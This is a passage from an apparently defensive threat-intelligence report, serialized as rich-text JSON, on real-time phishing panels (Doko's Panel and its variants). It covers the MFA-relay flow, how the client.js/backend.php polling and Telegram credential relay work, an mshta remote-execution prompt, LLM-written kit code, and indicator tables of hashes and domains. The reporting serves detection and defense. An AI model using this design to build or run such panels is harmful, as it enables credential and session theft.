enrollment, or support ticket resolution. ",{"data":43199,"content":43200,"nodeType":1570},{},[43201],{"data":43202,"content":43203,"nodeType":866},{},[43204,43209],{"data":43205,"marks":43206,"value":43208,"nodeType":865},{},[43207],{"type":926},"The victim lands on the phishing domain",{"data":43210,"marks":43211,"value":43212,"nodeType":865},{},[]," and is presented with a loading spinner — the anti-bot gate that prevents unauthorized access to the phishing pages.",{"data":43214,"content":43215,"nodeType":1570},{},[43216],{"data":43217,"content":43218,"nodeType":866},{},[43219,43224,43228,43233],{"data":43220,"marks":43221,"value":43223,"nodeType":865},{},[43222],{"type":926},"The operator accepts the visitor",{"data":43225,"marks":43226,"value":43227,"nodeType":865},{},[]," from the admin panel and ",{"data":43229,"marks":43230,"value":43232,"nodeType":865},{},[43231],{"type":926},"the victim is redirected",{"data":43234,"marks":43235,"value":43236,"nodeType":865},{},[]," to the cloned login page (e.g. Google, Microsoft, Okta).",{"data":43238,"content":43239,"nodeType":1570},{},[43240],{"data":43241,"content":43242,"nodeType":866},{},[43243,43248],{"data":43244,"marks":43245,"value":43247,"nodeType":865},{},[43246],{"type":926},"The victim enters their email address and password",{"data":43249,"marks":43250,"value":43251,"nodeType":865},{},[],", which is forwarded to the operator's Telegram channel. The victim sees a processing spinner on the branded login form.",{"data":43253,"content":43254,"nodeType":1570},{},[43255],{"data":43256,"content":43257,"nodeType":866},{},[43258,43263],{"data":43259,"marks":43260,"value":43262,"nodeType":865},{},[43261],{"type":926},"The operator relays the credentials",{"data":43264,"marks":43265,"value":43266,"nodeType":865},{},[]," to the real identity provider. If they're valid, the attack proceeds. If they're invalid, the operator can redirect the victim back to the credential entry pages. Assuming MFA is required, the operator issues a redirect to an appropriate MFA capture page — \"Submit SMS OTP,\" \"Submit Gauth OTP,\" or \"Approve [XX] Prompt,\" depending on what the legitimate IdP is presenting.",{"data":43268,"content":43269,"nodeType":1570},{},[43270],{"data":43271,"content":43272,"nodeType":866},{},[43273,43278,43282,43287],{"data":43274,"marks":43275,"value":43277,"nodeType":865},{},[43276],{"type":926},"The victim submits their OTP or approves the push notification ",{"data":43279,"marks":43280,"value":43281,"nodeType":865},{},[],"and",{"data":43283,"marks":43284,"value":43286,"nodeType":865},{},[43285],{"type":926}," the operator relays the OTP",{"data":43288,"marks":43289,"value":43290,"nodeType":865},{},[]," in their own login session, completes authentication, and captures the session. ",{"data":43292,"content":43293,"nodeType":1570},{},[43294],{"data":43295,"content":43296,"nodeType":866},{},[43297,43302],{"data":43298,"marks":43299,"value":43301,"nodeType":865},{},[43300],{"type":926},"The victim is redirected to a benign page",{"data":43303,"marks":43304,"value":43305,"nodeType":865},{},[]," (e.g., Google Drive) or to a support ticket closure screen displaying a fabricated ticket number.",{"data":43307,"content":43311,"nodeType":912},{"target":43308},{"sys":43309},{"id":43310,"type":909,"linkType":910},"1o0wm3EOd7zSl5MddsNxgL",[],{"data":43313,"content":43317,"nodeType":912},{"target":43314},{"sys":43315},{"id":43316,"type":909,"linkType":910},"7w7SQEn3aITpcgXLMThhbS",[],{"data":43319,"content":43320,"nodeType":866},{},[43321],{"data":43322,"marks":43323,"value":21,"nodeType":865},{},[],{"data":43325,"content":43329,"nodeType":912},{"target":43326},{"sys":43327},{"id":43328,"type":909,"linkType":910},"PJJabY1ZfoCfl8XQ6PMj2",[],{"data":43331,"content":43332,"nodeType":1317},{},[43333],{"data":43334,"marks":43335,"value":43337,"nodeType":865},{},[43336],{"type":926},"Doko’s Panel",{"data":43339,"content":43340,"nodeType":866},{},[43341],{"data":43342,"marks":43343,"value":43344,"nodeType":865},{},[],"Let’s take a closer look at the panels themselves. We'll start with the default version of Doko's Panel since it’s the most established. It provides a multi-functional framework targeting users of Google, Microsoft Entra, Okta, and popular cryptocurrency exchanges including Abra, Coinbase, Gemini, and Kraken. Its core functionality resides in a client-side JavaScript file (client.js) that establishes the real-time feedback loop between the victim's browser and the operator's C2.",{"data":43346,"content":43347,"nodeType":866},{},[43348],{"data":43349,"marks":43350,"value":43351,"nodeType":865},{},[],"The technical indicators that characterize Doko's Panel in its standard form include:",{"data":43353,"content":43354,"nodeType":1616},{},[43355,43370,43385,43400],{"data":43356,"content":43357,"nodeType":1570},{},[43358],{"data":43359,"content":43360,"nodeType":866},{},[43361,43366],{"data":43362,"marks":43363,"value":43365,"nodeType":865},{},[43364],{"type":926},"client.js",{"data":43367,"marks":43368,"value":43369,"nodeType":865},{},[]," containing a pingServer() function that sends a JSON POST request to /backend.php every second with the structure { action: 'ping', token, window_id, page, os, browser }. If the response contains a redirect key, the victim's browser navigates to that path. ",{"data":43371,"content":43372,"nodeType":1570},{},[43373],{"data":43374,"content":43375,"nodeType":866},{},[43376,43381],{"data":43377,"marks":43378,"value":43380,"nodeType":865},{},[43379],{"type":926},"sendTelegramMessage()",{"data":43382,"marks":43383,"value":43384,"nodeType":865},{},[]," (aliased to sendtg()), a function for relaying real-time credential submissions and session updates to the operator's Telegram channel.",{"data":43386,"content":43387,"nodeType":1570},{},[43388],{"data":43389,"content":43390,"nodeType":866},{},[43391,43396],{"data":43392,"marks":43393,"value":43395,"nodeType":865},{},[43394],{"type":926},"backend.php",{"data":43397,"marks":43398,"value":43399,"nodeType":865},{},[]," as the primary server-side handler for both victim ping actions and admin panel operations (retrieving connected victim information, sending redirect instructions).",{"data":43401,"content":43402,"nodeType":1570},{},[43403],{"data":43404,"content":43405,"nodeType":866},{},[43406,43411],{"data":43407,"marks":43408,"value":43410,"nodeType":865},{},[43409],{"type":926},"j.php",{"data":43412,"marks":43413,"value":43414,"nodeType":865},{},[]," as the endpoint for sending Telegram messages, relaying captured credentials and session logs.",{"data":43416,"content":43417,"nodeType":866},{},[43418],{"data":43419,"marks":43420,"value":43421,"nodeType":865},{},[],"Push found that deployments of Doko's Panel had minimal security by default — anyone was able to view the admin panel and manage visitors' connections without authentication.",{"data":43423,"content":43427,"nodeType":912},{"target":43424},{"sys":43425},{"id":43426,"type":909,"linkType":910},"3glwGSGHdCpf3DLqNmQqN8",[],{"data":43429,"content":43433,"nodeType":912},{"target":43430},{"sys":43431},{"id":43432,"type":909,"linkType":910},"20ymWIXMkmJlw7XYb93c9o",[],{"data":43435,"content":43436,"nodeType":1317},{},[43437],{"data":43438,"marks":43439,"value":43441,"nodeType":865},{},[43440],{"type":926},"Panel proliferation and remixes",{"data":43443,"content":43444,"nodeType":866},{},[43445],{"data":43446,"marks":43447,"value":43448,"nodeType":865},{},[],"Access to Doko's Panel has clearly proliferated beyond its original developers, resulting in remixes and variants being distributed across the ecosystem. Push identified a variant titled \"Lord Mensius's Panel\" targeting Koinly (a cryptocurrency tax platform), and another titled \"$$$\" using a template impersonating the Australian Tax Office, also targeting cryptocurrency tax filing. ",{"data":43450,"content":43451,"nodeType":866},{},[43452],{"data":43453,"marks":43454,"value":43455,"nodeType":865},{},[],"The existence of these independently branded forks indicates that the tooling has entered a phase of wider distribution — operators who obtained the original panel source are now customizing and reshipping it for their own purposes. As a result, the tooling is now accessible to a broad population of financially motivated threat actors. ",{"data":43457,"content":43458,"nodeType":1317},{},[43459],{"data":43460,"marks":43461,"value":43463,"nodeType":865},{},[43462],{"type":926},"heartbeat/check_redirect variant",{"data":43465,"content":43466,"nodeType":866},{},[43467],{"data":43468,"marks":43469,"value":43470,"nodeType":865},{},[],"In addition to Doko’s Panel and its forks, the site initially detected by Push used a modified variant of Doko's Panel with a different C2 protocol. Rather than the standard ping action, this variant sent two types of regular requests from client.js to the backend:",{"data":43472,"content":43473,"nodeType":1616},{},[43474,43489],{"data":43475,"content":43476,"nodeType":1570},{},[43477],{"data":43478,"content":43479,"nodeType":866},{},[43480,43485],{"data":43481,"marks":43482,"value":43484,"nodeType":865},{},[43483],{"type":926},"Heartbeat",{"data":43486,"marks":43487,"value":43488,"nodeType":865},{},[]," — POST to backend.php with action=heartbeat along with page, token, and window_id.",{"data":43490,"content":43491,"nodeType":1570},{},[43492],{"data":43493,"content":43494,"nodeType":866},{},[43495,43500],{"data":43496,"marks":43497,"value":43499,"nodeType":865},{},[43498],{"type":926},"Check Redirect",{"data":43501,"marks":43502,"value":43503,"nodeType":865},{},[]," — GET to backend.php with parameters action=check_redirect along with token and window_id.",{"data":43505,"content":43506,"nodeType":866},{},[43507],{"data":43508,"marks":43509,"value":43510,"nodeType":865},{},[],"A redirect instruction in response to either request causes the victim's browser to navigate to the specified page. The variant compounds this with a separate inline script embedded in the landing gate HTML — in addition to client.js — that schedules its own sendHeartbeat() and checkRedirect() functions on regular intervals. ",{"data":43512,"content":43516,"nodeType":912},{"target":43513},{"sys":43514},{"id":43515,"type":909,"linkType":910},"6zRc9ublZvEQCxcWtMBSnF",[],{"data":43518,"content":43519,"nodeType":866},{},[43520],{"data":43521,"marks":43522,"value":43523,"nodeType":865},{},[],"Additional technical differentiators for this variant include:",{"data":43525,"content":43526,"nodeType":1616},{},[43527,43542,43557],{"data":43528,"content":43529,"nodeType":1570},{},[43530],{"data":43531,"content":43532,"nodeType":866},{},[43533,43538],{"data":43534,"marks":43535,"value":43537,"nodeType":865},{},[43536],{"type":926},"UUID generation",{"data":43539,"marks":43540,"value":43541,"nodeType":865},{},[]," using Math.random() to replace x in the template xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx, rather than the original Doko's Panel method of constructing a template from [1e7]+-1e3+-4e3+-8e3+-1e11 and replacing [018].",{"data":43543,"content":43544,"nodeType":1570},{},[43545],{"data":43546,"content":43547,"nodeType":866},{},[43548,43553],{"data":43549,"marks":43550,"value":43552,"nodeType":865},{},[43551],{"type":926},"No central Telegram sending function",{"data":43554,"marks":43555,"value":43556,"nodeType":865},{},[],", though j.php still exists and is called from inline scripts on individual phishing pages.",{"data":43558,"content":43559,"nodeType":1570},{},[43560],{"data":43561,"content":43562,"nodeType":866},{},[43563,43568],{"data":43564,"marks":43565,"value":43567,"nodeType":865},{},[43566],{"type":926},"No use of FNV-1a",{"data":43569,"marks":43570,"value":43571,"nodeType":865},{},[]," to hash-generate the window ID.",{"data":43573,"content":43574,"nodeType":866},{},[43575],{"data":43576,"marks":43577,"value":43578,"nodeType":865},{},[],"Push also found sub-variants hosting Okta phishing pages with additional modifications: a minified client.js script, and a renamed backend endpoint (api_FyekIDWY.php replacing backend.php).",{"data":43580,"content":43581,"nodeType":1317},{},[43582],{"data":43583,"marks":43584,"value":43586,"nodeType":865},{},[43585],{"type":926},"Revamped admin panel",{"data":43588,"content":43589,"nodeType":866},{},[43590],{"data":43591,"marks":43592,"value":43593,"nodeType":865},{},[],"Push also found examples of a significantly revamped admin panel, including a version from April 2026 specifically targeting Microsoft as an enterprise identity provider. ",{"data":43595,"content":43599,"nodeType":912},{"target":43596},{"sys":43597},{"id":43598,"type":909,"linkType":910},"3ufb4cotpg0f7yoIQJnND0",[],{"data":43601,"content":43602,"nodeType":866},{},[43603],{"data":43604,"marks":43605,"value":43606,"nodeType":865},{},[],"This panel featured a more sophisticated operator interface with an updated look, quick action buttons, and sound notifications.",{"data":43608,"content":43609,"nodeType":866},{},[43610],{"data":43611,"marks":43612,"value":43613,"nodeType":865},{},[],"In addition to the standard compromise flow for acquiring email, password, and OTP, this panel provided operator actions for sending Microsoft Teams call instructions to the victim — a Meeting ID and Passcode rendered on a branded page. This capability likely enables further interaction through a channel that supports screensharing, extending the attacker's reach beyond credential theft into live session manipulation. It also has the potential to make the scenario more believable for the victim.",{"data":43615,"content":43619,"nodeType":912},{"target":43616},{"sys":43617},{"id":43618,"type":909,"linkType":910},"4pg65d1SvTJA3xm6AsxZBp",[],{"data":43621,"content":43622,"nodeType":866},{},[43623],{"data":43624,"marks":43625,"value":43626,"nodeType":865},{},[],"Other capabilities were referenced in the panel's source code but did not appear active in the observed deployment:",{"data":43628,"content":43629,"nodeType":1616},{},[43630,43645],{"data":43631,"content":43632,"nodeType":1570},{},[43633],{"data":43634,"content":43635,"nodeType":866},{},[43636,43641],{"data":43637,"marks":43638,"value":43640,"nodeType":865},{},[43639],{"type":926},"Additional MFA approval pages",{"data":43642,"marks":43643,"value":43644,"nodeType":865},{},[]," for Duo and Okta, with the operator providing a code to display to the victim.",{"data":43646,"content":43647,"nodeType":1570},{},[43648],{"data":43649,"content":43650,"nodeType":866},{},[43651,43656],{"data":43652,"marks":43653,"value":43655,"nodeType":865},{},[43654],{"type":926},"A code execution prompt",{"data":43657,"marks":43658,"value":43659,"nodeType":865},{},[]," to instruct the victim to run a command — the placeholder example being mshta to execute a remote HTA file, suggesting a potential bridge from identity compromise into malware delivery.",{"data":43661,"content":43662,"nodeType":866},{},[43663],{"data":43664,"marks":43665,"value":43666,"nodeType":865},{},[],"The admin panel also included settings for restricting access to specific geographic locations and device types, allowing operators to refine their campaign targeting and also avoid detection from unusual devices (often an indicator that the visitor is not a real human and is actually a security tool or bot).",{"data":43668,"content":43672,"nodeType":912},{"target":43669},{"sys":43670},{"id":43671,"type":909,"linkType":910},"1hebGtxbkyuejWXczwx5n6",[],{"data":43674,"content":43675,"nodeType":972},{},[],{"data":43677,"content":43678,"nodeType":981},{},[43679],{"data":43680,"marks":43681,"value":43683,"nodeType":865},{},[43682],{"type":926},"LLM-generated tells: vibe-coded phishing infrastructure",{"data":43685,"content":43686,"nodeType":866},{},[43687],{"data":43688,"marks":43689,"value":43690,"nodeType":865},{},[],"Evidence of extensive LLM use is extremely prevalent in attacks detected by Push, from LLM-generated phishing kits and tools to vibe-coded cloned pages. Attackers have also been observed leveraging AI–assisted capabilities in SaaS platforms to automate and scale-up their campaigns from an infrastructure and operations perspective. ",{"data":43692,"content":43693,"nodeType":866},{},[43694],{"data":43695,"marks":43696,"value":43697,"nodeType":865},{},[],"The ‘heartbeat’ variant in particular has significant tells of heavy use of LLMs to modify the phishing panel for the operator’s needs. The fact that these are so blatant increases the belief that these tools are being vibe-coded by relatively inexperienced developers with limited regard for operational security.",{"data":43699,"content":43700,"nodeType":866},{},[43701],{"data":43702,"marks":43703,"value":43704,"nodeType":865},{},[],"Some versions of client.js begin with verbose header comments that no human developer would write:",{"data":43706,"content":43709,"nodeType":912},{"target":43707},{"sys":43708},{"id":7412,"type":909,"linkType":910},[],{"data":43711,"content":43712,"nodeType":866},{},[43713],{"data":43714,"marks":43715,"value":43716,"nodeType":865},{},[],"The \"NOTES FOR NEXT SESSION\" header is particularly telling — it's a pattern generated by LLMs that maintain context between chat sessions, not a convention any human developer would adopt in production code, let alone in a phishing kit where operational security should discourage self-documenting infrastructure.",{"data":43718,"content":43719,"nodeType":866},{},[43720],{"data":43721,"marks":43722,"value":43723,"nodeType":865},{},[],"The admin panel HTML contains similarly over-documented opening comments:",{"data":43725,"content":43729,"nodeType":912},{"target":43726},{"sys":43727},{"id":43728,"type":909,"linkType":910},"60snRhz0RIsvLI6OU9RDOk",[],{"data":43731,"content":43732,"nodeType":866},{},[43733],{"data":43734,"marks":43735,"value":43736,"nodeType":865},{},[],"One of the Okta cloned login pages observed by Push contained the following comments suggesting the use of an LLM to create the clone:",{"data":43738,"content":43742,"nodeType":912},{"target":43739},{"sys":43740},{"id":43741,"type":909,"linkType":910},"1WCd5LQ6cfPf1IsNAhPSIT",[],{"data":43744,"content":43745,"nodeType":866},{},[43746],{"data":43747,"marks":43748,"value":43749,"nodeType":865},{},[],"The cloned Microsoft login pages displayed previously contain terser comments, but still typical of useless comments that are included by an LLM rather than a human author, especially a malware/phishing author:",{"data":43751,"content":43755,"nodeType":912},{"target":43752},{"sys":43753},{"id":43754,"type":909,"linkType":910},"6WN59mkiscNmAt8dmOR81c",[],{"data":43757,"content":43758,"nodeType":866},{},[43759],{"data":43760,"marks":43761,"value":43762,"nodeType":865},{},[],"The broken duplication in the heartbeat variant — where an inline script and client.js independently schedule the same backend requests using slightly different data formats — is consistent with an operator pasting requirements into an LLM and accepting the output without understanding the existing codebase well enough to recognize the redundancy.",{"data":43764,"content":43765,"nodeType":866},{},[43766],{"data":43767,"marks":43768,"value":43769,"nodeType":865},{},[],"Clearly, the barrier to entry for building (or forking) and operating a real-time vishing phishing panel is lower than the effectiveness of the tooling might suggest.",{"data":43771,"content":43772,"nodeType":972},{},[],{"data":43774,"content":43775,"nodeType":981},{},[43776],{"data":43777,"marks":43778,"value":43780,"nodeType":865},{},[43779],{"type":926},"Infrastructure clustering and attribution",{"data":43782,"content":43783,"nodeType":866},{},[43784,43788,43793],{"data":43785,"marks":43786,"value":43787,"nodeType":865},{},[],"Through analysis of phishing domains, hosting infrastructure, and technical indicators in the panel source code, ",{"data":43789,"marks":43790,"value":43792,"nodeType":865},{},[43791],{"type":926},"we’re highlighting four distinct infrastructure clusters associated with this tooling. ",{"data":43794,"marks":43795,"value":43796,"nodeType":865},{},[],"While the panels share common heritage, the operators deploying them appear to be separate groups with different infrastructure preferences and operational patterns.",{"data":43798,"content":43799,"nodeType":1317},{},[43800],{"data":43801,"marks":43802,"value":43803,"nodeType":865},{},[],"Cluster A",{"data":43805,"content":43806,"nodeType":866},{},[43807,43811,43819],{"data":43808,"marks":43809,"value":43810,"nodeType":865},{},[],"The indicators for Cluster A overlap with ",{"data":43812,"content":43813,"nodeType":889},{"uri":15592},[43814],{"data":43815,"marks":43816,"value":43818,"nodeType":865},{},[43817],{"type":943},"Mandiant’s reporting on UNC6661",{"data":43820,"marks":43821,"value":43822,"nodeType":865},{},[],". Mandiant also attributes the extortion activity following UNC6661 intrusions to UNC6240, aka ShinyHunters.",{"data":43824,"content":43825,"nodeType":2927},{},[43826,43850,43879,43902,43953,43997,44020,44043],{"data":43827,"content":43828,"nodeType":2400},{},[43829,43840],{"data":43830,"content":43831,"nodeType":2366},{},[43832],{"data":43833,"content":43834,"nodeType":866},{},[43835],{"data":43836,"marks":43837,"value":43839,"nodeType":865},{},[43838],{"type":926},"Tool",{"data":43841,"content":43842,"nodeType":2366},{},[43843],{"data":43844,"content":43845,"nodeType":866},{},[43846],{"data":43847,"marks":43848,"value":43337,"nodeType":865},{},[43849],{"type":926},{"data":43851,"content":43852,"nodeType":2400},{},[43853,43862],{"data":43854,"content":43855,"nodeType":2366},{},[43856],{"data":43857,"content":43858,"nodeType":866},{},[43859],{"data":43860,"marks":43861,"value":43365,"nodeType":865},{},[],{"data":43863,"content":43864,"nodeType":2366},{},[43865,43872],{"data":43866,"content":43867,"nodeType":866},{},[43868],{"data":43869,"marks":43870,"value":43871,"nodeType":865},{},[],"8a01bcb70ec1c101a163c9cb8e074781c1322096f7ae01789f02252854def44c",{"data":43873,"content":43874,"nodeType":866},{},[43875],{"data":43876,"marks":43877,"value":43878,"nodeType":865},{},[],"f574b6e6b3a968cda5f51bec2c090d8eb095fbcfc383314f94bc15676a0d6692",{"data":43880,"content":43881,"nodeType":2400},{},[43882,43892],{"data":43883,"content":43884,"nodeType":2366},{},[43885],{"data":43886,"content":43887,"nodeType":866},{},[43888],{"data":43889,"marks":43890,"value":43891,"nodeType":865},{},[],"Timeframe",{"data":43893,"content":43894,"nodeType":2366},{},[43895],{"data":43896,"content":43897,"nodeType":866},{},[43898],{"data":43899,"marks":43900,"value":43901,"nodeType":865},{},[],"November 2025 - present (April 2026)",{"data":43903,"content":43904,"nodeType":2400},{},[43905,43915],{"data":43906,"content":43907,"nodeType":2366},{},[43908],{"data":43909,"content":43910,"nodeType":866},{},[43911],{"data":43912,"marks":43913,"value":43914,"nodeType":865},{},[],"Domain Patterns",{"data":43916,"content":43917,"nodeType":2366},{},[43918,43925,43932,43939,43946],{"data":43919,"content":43920,"nodeType":866},{},[43921],{"data":43922,"marks":43923,"value":43924,"nodeType":865},{},[],"\u003Ctarget>internal.com\n\u003Ctarget>sso.com",{"data":43926,"content":43927,"nodeType":866},{},[43928],{"data":43929,"marks":43930,"value":43931,"nodeType":865},{},[],"my\u003Ctarget>.com",{"data":43933,"content":43934,"nodeType":866},{},[43935],{"data":43936,"marks":43937,"value":43938,"nodeType":865},{},[],"my\u003Ctarget>internal.com",{"data":43940,"content":43941,"nodeType":866},{},[43942],{"data":43943,"marks":43944,"value":43945,"nodeType":865},{},[],"my\u003Ctarget>manager.com",{"data":43947,"content":43948,"nodeType":866},{},[43949],{"data":43950,"marks":43951,"value":43952,"nodeType":865},{},[],"my\u003Ctarget>sso.com",{"data":43954,"content":43955,"nodeType":2400},{},[43956,43966],{"data":43957,"content":43958,"nodeType":2366},{},[43959],{"data":43960,"content":43961,"nodeType":866},{},[43962],{"data":43963,"marks":43964,"value":43965,"nodeType":865},{},[],"Examples",{"data":43967,"content":43968,"nodeType":2366},{},[43969,43976,43983,43990],{"data":43970,"content":43971,"nodeType":866},{},[43972],{"data":43973,"marks":43974,"value":43975,"nodeType":865},{},[],"mydropboxinternal.com (November 2025)",{"data":43977,"content":43978,"nodeType":866},{},[43979],{"data":43980,"marks":43981,"value":43982,"nodeType":865},{},[],"myxerointernal.com (December 2025)",{"data":43984,"content":43985,"nodeType":866},{},[43986],{"data":43987,"marks":43988,"value":43989,"nodeType":865},{},[],"amazoninternal.com (March 2026)",{"data":43991,"content":43992,"nodeType":866},{},[43993],{"data":43994,"marks":43995,"value":43996,"nodeType":865},{},[],"mydisneysso.com (March 2026)",{"data":43998,"content":43999,"nodeType":2400},{},[44000,44010],{"data":44001,"content":44002,"nodeType":2366},{},[44003],{"data":44004,"content":44005,"nodeType":866},{},[44006],{"data":44007,"marks":44008,"value":44009,"nodeType":865},{},[],"Registrar",{"data":44011,"content":44012,"nodeType":2366},{},[44013],{"data":44014,"content":44015,"nodeType":866},{},[44016],{"data":44017,"marks":44018,"value":44019,"nodeType":865},{},[],"NiceNIC",{"data":44021,"content":44022,"nodeType":2400},{},[44023,44033],{"data":44024,"content":44025,"nodeType":2366},{},[44026],{"data":44027,"content":44028,"nodeType":866},{},[44029],{"data":44030,"marks":44031,"value":44032,"nodeType":865},{},[],"Name Servers",{"data":44034,"content":44035,"nodeType":2366},{},[44036],{"data":44037,"content":44038,"nodeType":866},{},[44039],{"data":44040,"marks":44041,"value":44042,"nodeType":865},{},[],"1984.is FreeDNS",{"data":44044,"content":44045,"nodeType":2400},{},[44046,44056],{"data":44047,"content":44048,"nodeType":2366},{},[44049],{"data":44050,"content":44051,"nodeType":866},{},[44052],{"data":44053,"marks":44054,"value":44055,"nodeType":865},{},[],"Hosting Provider",{"data":44057,"content":44058,"nodeType":2366},{},[44059],{"data":44060,"content":44061,"nodeType":866},{},[44062],{"data":44063,"marks":44064,"value":44065,"nodeType":865},{},[],"Mevspace (AS201814)",{"data":44067,"content":44068,"nodeType":1317},{},[44069],{"data":44070,"marks":44071,"value":44072,"nodeType":865},{},[],"Cluster B",{"data":44074,"content":44075,"nodeType":866},{},[44076,44080,44088,44091,44100],{"data":44077,"marks":44078,"value":44079,"nodeType":865},{},[],"The indicators for Cluster B overlap with ",{"data":44081,"content":44082,"nodeType":889},{"uri":15592},[44083],{"data":44084,"marks":44085,"value":44087,"nodeType":865},{},[44086],{"type":943},"Mandiant’s reporting on UNC6671",{"data":44089,"marks":44090,"value":6719,"nodeType":865},{},[],{"data":44092,"content":44094,"nodeType":889},{"uri":44093},"https://rhisac.org/threat-intelligence/extortion-in-the-enterprise-defending-against-blackfile-attacks/",[44095],{"data":44096,"marks":44097,"value":44099,"nodeType":865},{},[44098],{"type":943},"Other external reporting",{"data":44101,"marks":44102,"value":44103,"nodeType":865},{},[]," has linked this group to BlackFile-branded extortion and leaks.",{"data":44105,"content":44106,"nodeType":2927},{},[44107,44130,44173,44195,44230,44273,44295,44317],{"data":44108,"content":44109,"nodeType":2400},{},[44110,44120],{"data":44111,"content":44112,"nodeType":2366},{},[44113],{"data":44114,"content":44115,"nodeType":866},{},[44116],{"data":44117,"marks":44118,"value":43839,"nodeType":865},{},[44119],{"type":926},{"data":44121,"content":44122,"nodeType":2366},{},[44123],{"data":44124,"content":44125,"nodeType":866},{},[44126],{"data":44127,"marks":44128,"value":43463,"nodeType":865},{},[44129],{"type":926},{"data":44131,"content":44132,"nodeType":2400},{},[44133,44142],{"data":44134,"content":44135,"nodeType":2366},{},[44136],{"data":44137,"content":44138,"nodeType":866},{},[44139],{"data":44140,"marks":44141,"value":43365,"nodeType":865},{},[],{"data":44143,"content":44144,"nodeType":2366},{},[44145,44152,44159,44166],{"data":44146,"content":44147,"nodeType":866},{},[44148],{"data":44149,"marks":44150,"value":44151,"nodeType":865},{},[],"c0df36ccf88d5c8434b13b58f7a55a9715643a126148b9d078a93075d09cad26",{"data":44153,"content":44154,"nodeType":866},{},[44155],{"data":44156,"marks":44157,"value":44158,"nodeType":865},{},[],"d178dc7108fa9344dae28e350e810352e9e874563496dc7876ee628b11b0eabb",{"data":44160,"content":44161,"nodeType":866},{},[44162],{"data":44163,"marks":44164,"value":44165,"nodeType":865},{},[],"9c0939960e49122196e44b6779fe55dd7a13ab437ce251c8cf35f8c6daf8be21",{"data":44167,"content":44168,"nodeType":866},{},[44169],{"data":44170,"marks":44171,"value":44172,"nodeType":865},{},[],"e8128b33259f7ea4313c942689ba0ba557f17b1474f2e621c62a5b77674fab86",{"data":44174,"content":44175,"nodeType":2400},{},[44176,44185],{"data":44177,"content":44178,"nodeType":2366},{},[44179],{"data":44180,"content":44181,"nodeType":866},{},[44182],{"data":44183,"marks":44184,"value":43891,"nodeType":865},{},[],{"data":44186,"content":44187,"nodeType":2366},{},[44188],{"data":44189,"content":44190,"nodeType":866},{},[44191],{"data":44192,"marks":44193,"value":44194,"nodeType":865},{},[],"January 2026",{"data":44196,"content":44197,"nodeType":2400},{},[44198,44207],{"data":44199,"content":44200,"nodeType":2366},{},[44201],{"data":44202,"content":44203,"nodeType":866},{},[44204],{"data":44205,"marks":44206,"value":43914,"nodeType":865},{},[],{"data":44208,"content":44209,"nodeType":2366},{},[44210,44217,44224],{"data":44211,"content":44212,"nodeType":866},{},[44213],{"data":44214,"marks":44215,"value":44216,"nodeType":865},{},[],"\u003Ctarget>internal.com",{"data":44218,"content":44219,"nodeType":866},{},[44220],{"data":44221,"marks":44222,"value":44223,"nodeType":865},{},[],"\u003Ctarget>sso.com",{"data":44225,"content":44226,"nodeType":866},{},[44227],{"data":44228,"marks":44229,"value":43952,"nodeType":865},{},[],{"data":44231,"content":44232,"nodeType":2400},{},[44233,44242],{"data":44234,"content":44235,"nodeType":2366},{},[44236],{"data":44237,"content":44238,"nodeType":866},{},[44239],{"data":44240,"marks":44241,"value":43965,"nodeType":865},{},[],{"data":44243,"content":44244,"nodeType":2366},{},[44245,44252,44259,44266],{"data":44246,"content":44247,"nodeType":866},{},[44248],{"data":44249,"marks":44250,"value":44251,"nodeType":865},{},[],"epicgamessso[.]com (December 2025)",{"data":44253,"content":44254,"nodeType":866},{},[44255],{"data":44256,"marks":44257,"value":44258,"nodeType":865},{},[],"myadyeninternal[.]com (January 2026)",{"data":44260,"content":44261,"nodeType":866},{},[44262],{"data":44263,"marks":44264,"value":44265,"nodeType":865},{},[],"mysonossso[.]com (January 2026)",{"data":44267,"content":44268,"nodeType":866},{},[44269],{"data":44270,"marks":44271,"value":44272,"nodeType":865},{},[],"sonosinternal[.]com (January 2026)",{"data":44274,"content":44275,"nodeType":2400},{},[44276,44285],{"data":44277,"content":44278,"nodeType":2366},{},[44279],{"data":44280,"content":44281,"nodeType":866},{},[44282],{"data":44283,"marks":44284,"value":44009,"nodeType":865},{},[],{"data":44286,"content":44287,"nodeType":2366},{},[44288],{"data":44289,"content":44290,"nodeType":866},{},[44291],{"data":44292,"marks":44293,"value":44294,"nodeType":865},{},[],"Tucows",{"data":44296,"content":44297,"nodeType":2400},{},[44298,44307],{"data":44299,"content":44300,"nodeType":2366},{},[44301],{"data":44302,"content":44303,"nodeType":866},{},[44304],{"data":44305,"marks":44306,"value":44032,"nodeType":865},{},[],{"data":44308,"content":44309,"nodeType":2366},{},[44310],{"data":44311,"content":44312,"nodeType":866},{},[44313],{"data":44314,"marks":44315,"value":44316,"nodeType":865},{},[],"Njalla",{"data":44318,"content":44319,"nodeType":2400},{},[44320,44329],{"data":44321,"content":44322,"nodeType":2366},{},[44323],{"data":44324,"content":44325,"nodeType":866},{},[44326],{"data":44327,"marks":44328,"value":44055,"nodeType":865},{},[],{"data":44330,"content":44331,"nodeType":2366},{},[44332],{"data":44333,"content":44334,"nodeType":866},{},[44335],{"data":44336,"marks":44337,"value":44338,"nodeType":865},{},[],"Njalla (AS39287)",{"data":44340,"content":44341,"nodeType":1317},{},[44342],{"data":44343,"marks":44344,"value":44345,"nodeType":865},{},[],"Cluster C",{"data":44347,"content":44348,"nodeType":866},{},[44349],{"data":44350,"marks":44351,"value":44352,"nodeType":865},{},[],"Cluster C is likely an evolution of Cluster B. Some evidence has been observed tying the backend hosting to Njalla behind the Cloudflare CDN further solidifying the link. The shift to Cloudflare Turnstile protection and subdomain-based targeting represents an operational refinement — moving away from the distinctive [target]internal[.]com pattern that had become a well-known campaign indicator.",{"data":44354,"content":44355,"nodeType":2927},{},[44356,44380,44402,44424,44446,44489,44510,44532],{"data":44357,"content":44358,"nodeType":2400},{},[44359,44369],{"data":44360,"content":44361,"nodeType":2366},{},[44362],{"data":44363,"content":44364,"nodeType":866},{},[44365],{"data":44366,"marks":44367,"value":43839,"nodeType":865},{},[44368],{"type":926},{"data":44370,"content":44371,"nodeType":2366},{},[44372],{"data":44373,"content":44374,"nodeType":866},{},[44375],{"data":44376,"marks":44377,"value":44379,"nodeType":865},{},[44378],{"type":926},"heartbeat/check_redirect variant protected with Cloudflare 